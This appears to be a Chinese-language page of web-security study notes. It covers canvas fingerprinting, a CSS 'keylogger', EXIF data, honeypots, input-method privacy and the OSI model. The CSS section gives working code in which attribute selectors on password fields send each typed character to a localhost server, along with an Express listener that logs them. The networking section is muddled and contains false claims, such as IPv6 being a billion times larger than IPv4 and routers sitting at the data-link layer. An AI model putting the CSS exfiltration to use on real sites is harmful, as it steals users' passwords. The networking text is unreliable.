Skip to content

网络安全

1、canvas指纹追踪技术

javascript
const uuid = () => {
    const canvas = document.createElement('canvas');
    const ctx = canvas.getContext('2d');
    const txt = '指纹追踪';
    ctx.fillText(txt, 10, 10);
    return canvas.toDataURL(); // 获取用户设备及操作系统
}
// 防止被跟踪
// 安装浏览器插件,随即修改canvas指纹的插件, CanvasFingerprintBlock 
// 原理:每次随机往canvas画布里注入一个随机的噪音(人肉眼是看不到的),从而影响bease64加密;

2、css键盘记录器 - React

    这种行为只存在于使用React/类React框架的页面中
    场景一般隐匿于第三方脚本当中,从而窃取你的密码。
    攻击手段利用css属性选择器,可以在加载background-image 通过url进行请求
    使用一个简单的脚本可以创建一个css文件,该文件将为每个ASCII字符发送一个自定义请求,
    因为react会设置value值。
css
/*css 脚本*/
input[type="password"][value$="0"] {
    background-image: url("http://localhost:3000/0")
}

input[type="password"][value$="1"] {
    background-image: url("http://localhost:3000/1")
}

input[type="password"][value$="2"] {
    background-image: url("http://localhost:3000/2")
}

input[type="password"][value$="3"] {
    background-image: url("http://localhost:3000/3")
}

input[type="password"][value$="@"] {
    background-image: url("http://localhost:3000/40")
}

/* ... */
javascript
// 创建服务器并启动 监听键盘输入值
const express = require('express')
const app = express()
app.get('/:key', (req, res) => {
    process.stdout.write(`${req.params.key}\n`)
    res.sendStatus(200)
})
app.listen(3000, () => {
    console.log('listening on 3000')
})

3、图片信息(EXIF) 可交换图像文件

    EXIF是镶嵌在jpeg/tiff图像文件格式内的一组拍摄参数,需要注意的是EXIF信息不支持png,webp等格式。
    EXIF(图像文件格式)是一种图像文件格式,它允许图像文件包含有关图像拍摄条件和方式的有关信息。
    这些信息可以包括拍摄日期、拍摄地点、相机型号、白平衡、光圈、快门速度、ISO感光度等。
    这些信息可以被图像处理软件读取,并用于图像的编辑、调整、美化等操作。
    使用场景:
    勾选上传原图会将EXIF信息一起上传,在下载原图时,会自动下载包含EXIF信息的图片。
javascript
import EXIF from 'exif-js'

const img = document.getElementById('image');
img.onload = () => {
    EXIF.getData(img, function () {
        const exifData = EXIF.getAllTags(this);
        const res = EXIF.pretty(this);
        console.log(res);
        // 输出EXIF信息
        console.log(exifData);
    });
}

4、蜜罐技术

    蜜罐技术是一种防御性网络安全技术,用于检测、分析和响应网络攻击。
    蜜罐是一种虚拟的目标,用于诱捕和捕获网络攻击者的攻击行为。
    蜜罐技术通过部署一系列虚拟系统、网络设备、应用程序等,来模拟真实的目标系统,并将其暴露在互联网上。
    当攻击者试图攻击这些虚拟系统时,会被蜜罐捕获和记录下来,从而可以分析和检测攻击者的行为。
    蜜罐技术可以有效地保护真实的目标系统,并提高网络安全防护能力。

5、输入法

     三方平台输入法
        1、百度输入法
        2、搜狗输入法
        3、讯飞输入法
        4、谷歌输入法
        5、微软输入法
    使用三方平台输入法,输入信息会被获取,导致信息泄露。例如在某宝上搜索某个商品,在某东或者某多上,你搜索的商品会被推送。存在信息安全隐患。
    解决方案:使用虚拟键盘(vant框架的虚拟键盘控件)。比如:支付密码时使用的虚拟键盘,防止密码被窃取。

6、网络模型

        1.应用层
            1.1 应用层
                http、FTP、SMTP、DNS、Telnet、POP3、SNMP、SSH、HTTP2.0
            1.2 表示层
                JPEG、ASCII、DECOIC、加密
            1.3 会话层
                SSL、TLS
        2.传输层
            TCP、UDP
        3.网络层
            IP、ICMP、ARP、RIP等
        4.数据链路层
            MAC地址、ARP协议、RARP协议、VLAN、PPP协议、MTU、MAC地址、CSMA/CD、交换机、网桥、路由器
        5.物理层
            网线、网卡、集线器、中继器、网桥、交换机、路由器、网关、网桥、网卡、
1.应用层
    应用层就是我们使用最多的一层,例如ajax调用接口发送http请求,再比如域名系统DNS,邮件协议SMTP,webSocket长连接,SSH协议
    应用层主要做的是数据的传输,例如发送一个http请求,发送一个邮件,发送一个文件,发送一个请求,接收一个响应。
2.表示层
    表示层主要做了几件重要的事情 安全,压缩,也是程序在网络中的一个翻译官。
        1.安全 在你的数据发送之前进行加密,在接受者的表示层进行解密。
        2.表示层还会对图片文件等格式进行解码和编码 例如 JPEG、ASCll 图片是人类能读懂的计算机需要转换成计算机能读懂的编码。
        3.压缩 表示层还会对数据进行压缩,例如 GZIP、DEFLATE
3.会话层
    会话层,是在发送方和接收方之间进行通信时创建、维持、之后终止或断开连接的地方,与电话通话有点相似。
    会话层定义了一种机制,允许发送方和接收方启动或停止请求会话,以及当双方发生拥塞时仍然能保持对话。
    会话层包含了一种称为检查点(Checkpoint) 的机制来维持可靠会话。检查点定义了一个最接近成功通信的点,
    并且定义了当发生内容丢失或损坏时需要回滚以便恢复丢失或损坏数据的点,即断点下载的原理
    会话层还定义了如何处理会话的启动、终止和恢复。
4.传输层
    传输层主要就是定义我们的端口号,以及控流,和校验。
    并且拥有两个熟知的协议 TCP UDP
    TCP 是面向连接的协议并且TCP是可靠的
    因为TCP会进行三次握手四次挥手所以是可靠的,但是这样会降低速度
    UDP 具有较好的实时性 效率比TCP高
    UDP是没有三次握手四次挥手的,故此不稳定,但是速度快 常用于直播,游戏
    TCP 协议的校验机制 确保数据传输的完整性和准确性
    TCP 协议的流量控制机制 确保数据传输的有序性和稳定性
    TCP 协议的拥塞控制机制 确保数据传输的效率和稳定性
    TCP 协议的连接管理机制 确保数据传输的可靠性和安全性
    TCP 协议的错误恢复机制 确保数据传输的可靠性
5.网络层
     网络层是最复杂的一层,在这一层就定义了我们的IP,220.xxx.xxx.xxx。
   该层控制数据链路层与传输层之间的信息转发,建立、维持和终止网络的连接。具体地说,数据链路层的数据在这一层被转换为数据包,
   然后通过路径选择、分段组合、顺序、进/出路由等控制,将信息从一个网络设备传送到另一个网络设备
    1.寻址:对网络层而言使用IP地址来唯一标识互联网上的设备,网络层依靠IP地址进行相互通信(类似于数据链路层的MAC地址)
    2.路由:在同一个网络中的内部通信并不需要网络层设备,仅仅靠数据链路层就可以完成相互通信,对于不同的网络之间相互通信则必须借助路由器等三层设备。
    我们的路由器就是在第三层工作的
    在数据链路层的时候说过了如果所有的使用互联网的用户在同一个网段中,会产生广播风暴,所以要将用户进行划分,让他们在不同的网段中,
    自己在自己的小网段中广播。而互联网就是这无数的子网络构成的一个巨型网络。
    在网络层中引入了一套新的地址,让我们能够区分不同的网段。这套地址就叫做“网络地址”,简称“网址”。
    于是,”网络层”出现以后,每台计算机有了两种地址,一种是MAC地址,另一种是网络地址。两种地址之间没有任何联系,MAC地址是绑定在网卡上的,
    网络地址则是管理员分配的,它们只是随机组合在一起。
    网络地址帮助我们确定计算机所在的子网络,MAC地址则将数据包送到该子网络中的目标网卡。
    因此,从逻辑上可以推断,必定是先处理网络地址,然后再处理MAC地址。
    这一层中有一个规定网络地址的协议,叫做IP协议,它所定义的地址,就被称为IP地址。目前,广泛采用的是IP协议第四版,简称IPv4。
    这个版本规定,网络地址由32个二进制位组成。因为IPv4的地址已经不够用了,所以现在推广IPv6,它的地址空间是IPv4地址空间的十亿倍。
    IP地址的格式:A.B.C.D
    A.B.C.D 分别代表A,B,C,D四个部分,每个部分是一个0-255之间的十进制数。
    IP地址的分类:
    A类地址:A类地址第一个字节的第一位固定为0,所以A类地址的网络号范围是0.0.0.0
    B类地址:B类地址第一个字节的前两位固定为10,所以B类地址的网络号范围是128.0.0.0
6.数据链路层
    建立逻辑链接、进行硬件地址寻址、差错校验等功能。将比特组合成字节进而组合成帧,用MAC地址访问介质,错误发现但不能纠正。
    帧是用来移动数据的结构包,它不仅包括原始数据,还包括发送方和接收方的物理地址以及检错和控制信息。其中的地址确定了帧将发往何处,
    而纠错和控制信息则确保帧无差错到达。如果在传输数据时,接受点检测到所传数据中有差错,就要通知发送方重发这一帧。
    数据链路层将网络层交下来的IP数据报组装成帧,并添加必要的控制信息,以保证其传送到目的地。
    数据链路层在两个网络实体之间的传输实体是数据链路层本身,而不是IP层。
7.物理层
    建立、维护、断开物理连接。
    主要定义物理设备标准,如网线的接口类型、光纤的接口类型、各种传输介质的传输速率等。
    它的主要作用是将比特流(就是有1、0转为电力强弱来进行传输,到达目的地后再转为1、0)。
    包括物理设备标准、机械标准、电气标准、功能、性能标准、技术指标、技术要求、传输medi等。